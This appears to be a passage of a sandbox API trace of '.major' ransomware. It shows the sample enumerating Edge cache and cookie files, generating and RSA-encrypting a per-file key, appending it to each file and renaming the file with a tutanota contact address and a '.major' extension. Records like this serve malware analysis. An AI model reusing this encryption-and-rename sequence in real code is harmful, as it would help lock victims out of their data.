GetLastError () returned 0x0 [0297.864] SetLastError (dwErrCode=0x0) [0297.864] GetLastError () returned 0x0 [0297.864] SetLastError (dwErrCode=0x0) [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0297.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0297.864] FindNextFileW (in: hFindFile=0x2f37068, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x50b4f933, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x50b4f933, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x50b52023, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659d98 [0297.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6690 [0297.864] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0297.864] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat", dwFileAttributes=0x80) returned 1 [0297.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x659f88 [0297.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x166) returned 0x5cd980 [0297.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659f88 | out: hHeap=0x570000) returned 1 [0297.865] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b8c [0297.866] GetFileSizeEx (in: hFile=0x1b8c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0297.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d430 [0297.866] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d4b0 [0297.866] ReadFile (in: hFile=0x1b8c, lpBuffer=0x59d430, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d430*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0297.866] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0297.866] WriteFile (in: hFile=0x1b8c, lpBuffer=0x59d4b0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d4b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0297.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d430 | out: hHeap=0x570000) returned 1 [0297.866] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d4b0 | out: hHeap=0x570000) returned 1 [0297.866] SetFilePointer (in: hFile=0x1b8c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0297.866] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.866] WriteFile (in: hFile=0x1b8c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0297.867] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0297.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0297.867] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0297.867] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="qX1WRNaKu/YPDeT2KFno+GilizIijA8qvYdje5ZAaQmPO7e+KwB7rfnHA2LZ73vJ\nbx1a6sJN/MFVaYCOnCVaRjtl2+pmA5pDnB5v2w3qrrGn66KeUx3L+BM/UUNR/0av\nRxRyj6e7gutkWQ+J0oA73TzGD71lWtojiOcEnHkTgMcChwNqrjrs/bYYN2TncbjG\n4cNI3MYCDfb6jnGs9w+q6JaoW52UrLg3pLdB4gxyQpp5hOnDkKYNO3n24xHHXfyk\nitxJlHN0m5U5LRtwbT8oo+z1wyiNRkRs7B/3vsksDcszG2l4UDPZJLdqoMo0AOde\n+IbEi9zXNu98X0IvdfQ/sw==\n", pcchString=0x2e3f9a8) returned 1 [0297.867] WriteFile (in: hFile=0x1b8c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0297.867] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0297.867] WriteFile (in: hFile=0x1b8c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0297.867] CloseHandle (hObject=0x1b8c) returned 1 [0297.867] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a8108 | out: hHeap=0x570000) returned 1 [0297.868] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cache\\container.dat.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.microsoftedge_8wekyb3d8bbwe\\ac\\#!001\\microsoftedge\\cache\\container.dat.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd980 | out: hHeap=0x570000) returned 1 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6690 | out: hHeap=0x570000) returned 1 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659d98 | out: hHeap=0x570000) returned 1 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x659ca0 | out: hHeap=0x570000) returned 1 [0297.869] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xe0) returned 0x6626d0 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x662ef8 | out: hHeap=0x570000) returned 1 [0297.869] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661f90 | out: hHeap=0x570000) returned 1 [0297.870] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0297.870] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\AC\\#!001\\MicrosoftEdge\\Cookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbe330de9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f37228 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8ad70 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664788 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8ad70 | out: hHeap=0x570000) returned 1 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6548e0 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664788 | out: hHeap=0x570000) returned 1 [0297.885] GetLastError () returned 0x0 [0297.885] SetLastError (dwErrCode=0x0) [0297.885] GetLastError () returned 0x0 [0297.885] SetLastError (dwErrCode=0x0) [0297.885] GetLastError () returned 0x0 [0297.885] SetLastError (dwErrCode=0x0) [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be318 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be318 | out: hHeap=0x570000) returned 1 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f376a8 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f376a8 | out: hHeap=0x570000) returned 1 [0297.885] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e404b0 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e404b0 | out: hHeap=0x570000) returned 1 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0297.885] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0297.885] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x1044f1e6, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xbe330de9, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x50b75651, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6548e0 | out: hHeap=0x570000) returned 1 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b4e0 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664b70 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b4e0 | out: hHeap=0x570000) returned 1 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6565c8 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664b70 | out: hHeap=0x570000) returned 1 [0298.860] GetLastError () returned 0x0 [0298.860] SetLastError (dwErrCode=0x0) [0298.860] GetLastError () returned 0x0 [0298.860] SetLastError (dwErrCode=0x0) [0298.860] GetLastError () returned 0x0 [0298.860] SetLastError (dwErrCode=0x0) [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be210 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5be210 | out: hHeap=0x570000) returned 1 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x2f37828 [0298.860] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f37828 | out: hHeap=0x570000) returned 1 [0298.860] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40660 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40660 | out: hHeap=0x570000) returned 1 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0298.861] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9c11f621, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0x9c11f621, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0x9c11f621, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="03I3HWP3.cookie", cAlternateFileName="03I3HW~1.COO")) returned 1 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x570000) returned 1 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4388 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8a9b8 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4388 | out: hHeap=0x570000) returned 1 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x665660 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8a9b8 | out: hHeap=0x570000) returned 1 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655910 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x665660 | out: hHeap=0x570000) returned 1 [0298.861] GetLastError () returned 0x0 [0298.861] SetLastError (dwErrCode=0x0) [0298.861] GetLastError () returned 0x0 [0298.861] SetLastError (dwErrCode=0x0) [0298.861] GetLastError () returned 0x0 [0298.861] SetLastError (dwErrCode=0x0) [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660750 [0298.861] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb1ff9642, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xb1ff9642, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb1ff9642, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="069178ZX.cookie", cAlternateFileName="069178~1.COO")) returned 1 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a4778 [0298.861] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b018 [0298.861] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a4778 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664918 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b018 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655910 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664918 | out: hHeap=0x570000) returned 1 [0298.862] GetLastError () returned 0x0 [0298.862] SetLastError (dwErrCode=0x0) [0298.862] GetLastError () returned 0x0 [0298.862] SetLastError (dwErrCode=0x0) [0298.862] GetLastError () returned 0x0 [0298.862] SetLastError (dwErrCode=0x0) [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660120 [0298.862] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa3cc59e5, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa3cc59e5, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa3cc59e5, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x121, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="0926U4V3.cookie", cAlternateFileName="0926U4~1.COO")) returned 1 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655910 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0298.862] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x655598 [0298.862] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.862] GetLastError () returned 0x0 [0298.862] SetLastError (dwErrCode=0x0) [0298.862] GetLastError () returned 0x0 [0298.863] SetLastError (dwErrCode=0x0) [0298.863] GetLastError () returned 0x0 [0298.863] SetLastError (dwErrCode=0x0) [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee65a0 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee65a0 | out: hHeap=0x570000) returned 1 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660228 [0298.863] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa808fb5e, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa808fb5e, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa80997af, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x336, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="1W27MN6L.cookie", cAlternateFileName="1W27MN~1.COO")) returned 1 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x655598 | out: hHeap=0x570000) returned 1 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664468 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6564a0 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664468 | out: hHeap=0x570000) returned 1 [0298.863] GetLastError () returned 0x0 [0298.863] SetLastError (dwErrCode=0x0) [0298.863] GetLastError () returned 0x0 [0298.863] SetLastError (dwErrCode=0x0) [0298.863] GetLastError () returned 0x0 [0298.863] SetLastError (dwErrCode=0x0) [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6578 [0298.863] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6578 | out: hHeap=0x570000) returned 1 [0298.863] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660330 [0298.864] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa6022fff, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa6022fff, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa6022fff, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x6f, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="38ZHXQ6A.cookie", cAlternateFileName="38ZHXQ~1.COO")) returned 1 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6564a0 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b2c0 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x664e90 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b2c0 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x654a08 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x664e90 | out: hHeap=0x570000) returned 1 [0298.864] GetLastError () returned 0x0 [0298.864] SetLastError (dwErrCode=0x0) [0298.864] GetLastError () returned 0x0 [0298.864] SetLastError (dwErrCode=0x0) [0298.864] GetLastError () returned 0x0 [0298.864] SetLastError (dwErrCode=0x0) [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660648 [0298.864] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa16f7320, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa16f7320, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa16f7320, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x71, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="51EI2ZMG.cookie", cAlternateFileName="51EI2Z~1.COO")) returned 1 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x654a08 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a46a0 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8b128 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a46a0 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6658b8 [0298.864] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f8b128 | out: hHeap=0x570000) returned 1 [0298.864] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x6565c8 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6658b8 | out: hHeap=0x570000) returned 1 [0298.865] GetLastError () returned 0x0 [0298.865] SetLastError (dwErrCode=0x0) [0298.865] GetLastError () returned 0x0 [0298.865] SetLastError (dwErrCode=0x0) [0298.865] GetLastError () returned 0x0 [0298.865] SetLastError (dwErrCode=0x0) [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2ee6910 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2ee6910 | out: hHeap=0x570000) returned 1 [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x100) returned 0x660438 [0298.865] FindNextFileW (in: hFindFile=0x2f37228, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa8037cff, ftCreationTime.dwHighDateTime=0x1d327c9, ftLastAccessTime.dwLowDateTime=0xa8037cff, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xa8037cff, ftLastWriteTime.dwHighDateTime=0x1d327c9, nFileSizeHigh=0x0, nFileSizeLow=0x142, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="7R2CZ8VX.cookie", cAlternateFileName="7R2CZ8~1.COO")) returned 1 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6565c8 | out: hHeap=0x570000) returned 1 [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5a44f0 [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x2f8adf8 [0298.865] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5a44f0 | out: hHeap=0x570000) returned 1 [0298.865] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 